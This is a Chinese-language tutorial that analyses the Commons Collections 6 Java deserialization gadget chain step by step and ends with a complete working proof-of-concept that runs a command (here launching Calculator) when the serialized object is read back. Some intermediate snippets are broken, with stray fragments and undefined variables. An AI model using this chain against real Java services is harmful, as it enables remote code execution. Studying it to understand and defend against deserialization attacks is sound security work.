Commons Collections 6

CC6 链不受 JDK 版本限制,只要使用的 ​commons-collections 版本 ≤ 3.2.1,就存在这条利用链。
触发点仍然是熟悉的 InvokerTransformer.transform,但利用路径与 CC1 有所不同。

CC6 链不受 jdk 版本制约,只要commons collections 小于等于3.2.1,都存在这个漏洞。

环境

1
2
Commons Collections3.2.1
jdkjdk8u71

Maven 依赖示例:

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

前置知识

这一条链主要用到了下面几个组件:

1
HashMap/HashSet + TiedMapEntry + LazyMap + Transformer

整体思路是:
HashMap 反序列化 → put 触发 hashTiedMapEntry.hashCodegetValueLazyMap.getfactory.transformChainedTransformerInvokerTransformerRuntime.exec

  1. sink(命令执行点)
    InvokerTransformer.transform 内部通过反射调用 Runtime.getRuntime().exec(...)
  2. LazyMap
    负责在 get 时调用 Transformer.transform
  3. TiedMapEntry
    通过 getValue() 间接调用 LazyMap.get
  4. HashMap 反序列化
    HashMap.readObject 在反序列化时会调用 put,进而触发 key.hashCode(),只要 key 是 TiedMapEntry,就能把链子走完。

接下来按节点逐步展开。

链子分析

sink:InvokerTransformer.transform

和 CC1 一样,最终的执行点仍是:

1
InvokerTransformer.transform(...)

我们只要想办法让攻击链最后调用 transform,就能执行自定义命令。

image

LazyMap

先看 LazyMap 的源码(关键部分):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class LazyMap
extends AbstractMapDecorator
implements Map, Serializable {

......

protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

......

public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
}
  • LazyMap 实现了 Serializable

  • get方法中调用了 factory.transform(key) ,这是我们真正想利用的调用点。

  • factoryTransformer 类型,只要我们把它设置成 ChainedTransformer,就能执行任意调用链。

  • if (map.containsKey(key) == false) 必须为 true 才会进入 factory.transform(key)
    也就是说:LazyMap 装饰的底层 map 在初始时不能包含该 key

即不能和 LazyMap 定义时,传入的 hashmap 的key一样,否则无法进入LazyMap 的if条件

1
protected final Transformer factory;

factory是一个类属性,所以只要能够通过构造方法对类属性进行赋值,则可以实现对象的传递

利用该类的装饰方法进行类的实例化来达到参数传入的目的

1
2
3
public static Map decorate(Map map, Factory factory) {
return new LazyMap(map, factory);
}

map 直接使用hashmap即可,因为该类并没有自定义map属性 ,这个map是继承来的,最后都是map接口。

poc验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.ysoserial.CC6;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC6Test {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);{String.class},new Object[]{"open -a Calculator"});
// invokerTransformer.transform(r);
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object,Object> lazyMap = LazyMap.decorate(map,invokerTransformer);
lazyMap.get(r);
}
}

image

这一步只是证明:只要能调用 LazyMap.get(key),就能走到 ChainedTransformer,最后到命令执行


TiedMapEntry

接下来要解决的问题是:谁来调用 LazyMap.get

太多了,2000+也不知道这条链子的作者是怎么找到了,真厉害

org.apache.commons.collections.keyvalue.TiedMapEntry 类中的getValue()方法 在调用这个get()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {

public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

......

public Object getValue() {
return map.get(key);
}
}
  • TiedMapEntry 里保存了一个 map 引用和一个 key
  • getValue() 调用 map.get(key),如果 map 是我们前面构造的 LazyMap,那就会触发 LazyMap.get 的逻辑。
  • 同时,hashCode() 会调用 getValue(),这就给了我们一个​可以通过 “hash 相关操作” 间接触发链条的机会

poc验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// invokerTransformer.transform(r);
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object,Object> lazyMap = LazyMap.decorate(map,invokerTransformer);
// lazyMap.get(r);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,r);
tiedMapEntry.getValue();
}

image

往上去找谁调用了getValue()

这个方法也非常常见,一般而言,会优先找同一类下是否存在调用情况。

同一类下的hashCode()调用了getValue()

1
2
3
4
5
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

poc验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// invokerTransformer.transform(r);
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object,Object> lazyMap = LazyMap.decorate(map,invokerTransformer);
// lazyMap.get(r);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,r);
tiedMapEntry.hashCode();
}

tiedMapEntry.getValue();改为tiedMapEntry.hashCode();即可


HashMap

HashMap 就是一个经典入口。

1
HashMap.put → hash → key.hashCode

HashMap.put() 源码中:

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

hash(key) 会调用 key.hashCode()

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

所以只要 key 是一个 TiedMapEntry,调用 put(tiedMapEntry, "value") 就会触发 tiedMapEntry.hashCode(),最终执行命令。

更关键的是:​HashMap.readObject在反序列化时会调用 put来恢复键值对,因此反序列化过程中也会自动触发 hashCode(),从而完成整个链条。

poc验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
    public static void main(String[] args) throws IOException, ClassNotFoundException {
// Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method m = c.getDeclaredMethod("exec", String.class);
//m.setAccessible(true);
//m.invoke(r,"open -a Calculator");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// invokerTransformer.transform(r);
HashMap<Object, Object> map = new HashMap<>();
// map.put("key", "value");
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
// lazyMap.get(r);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"11");
// tiedMapEntry.hashCode();
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry,"value");

serialize(expMap);
deserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}

image

问题

调试坑:IDEA 自动调用 toString() 导致提前触发

事实上,在序列化之前就会弹计算器。

调试发现具体是在TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,r);,执行完就弹计算器了

image

原因分析

在 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用toString()方法,所以在创建TiedMapEntry的时候,就自动调用了getValue()最终将链子走完,然后弹出计算器。

image

解决办法

  • 在 IDEA 中关闭 “自动计算 toString()” 等相关调试功能,避免在调试阶段就触发 payload。

image

put()方法

put 的过程中,HashMap 可能会调用 tiedMapEntry.hashCode(),进而立即触发 LazyMap.getchainedTransformer,导致在序列化前就执行了命令

解决思路类似 URLDNS 链中“先用无害对象占位,再反射替换”的做法

  • 构造 LazyMap 时传入一个安全的 Transformer,例如 new ConstantTransformer(1),此时 get 虽然会调用 transform,但不会执行危险操作。
  • 在所有 put / 构造等操作后,再通过 反射修改 LazyMap 的 factory 字段 为真实的 ChainedTransformer

改成这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package org.ysoserial.CC6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6Test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1)); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "11");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "111");

// 在 put 之后通过反射修改值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

serialize(expMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

没弹计算器,调试一下

image

跟进,此处,if语句里的表达式为false,所以没有调用factory.transform(key)方法

image

  • put 的过程中,TiedMapEntry.hashCode()getValue()lazyMap.get("11")
  • 此时 factory 还是无害的 ConstantTransformer(1),但是 ​LazyMap的特性是:如果 key 不存在就自动创建
  • 因此,在 put 阶段,"11" 这个 key 会被 LazyMap 写入到底层 hashMap 中;
  • 反序列化的时候,再次进入 LazyMap.get("11") 时,map.containsKey("11") 会返回 true,从而 不会再次调用 factory.transform(key) ,导致链子失效。

所以我们需要在反射替换 factory 之前:

1
lazyMap.remove("a");

完整cc6链

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package org.ysoserial.CC6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6Test {
public static void main(String[] args) throws Exception {
// 1. 构造恶意 Transformer 链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 2. 先用无害的 ConstantTransformer 占位,避免提前执行
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));

// 3. 用 LazyMap 构造 TiedMapEntry,并作为 key 放入 HashMap
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "11");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "11");

// 移除 key,保证反序列化时 map.containsKey("a") 为 false
lazyMap.remove("11");

// 4. 通过反射将 LazyMap 的 factory 字段替换为恶意的 chainedTransformer
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

// 5. 序列化与反序列化
serialize(expMap);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}

image

1
2
3
4
5
6
7
8
9
10
readObject
-> HashMap.readObject
-> HashMap.put
-> HashMap.hash
-> TiedMapEntry.hashCode
-> TiedMapEntry.getValue
-> LazyMap.get
-> Transformer.transform (ChainedTransformer)
-> InvokerTransformer
-> Runtime.getRuntime().exec()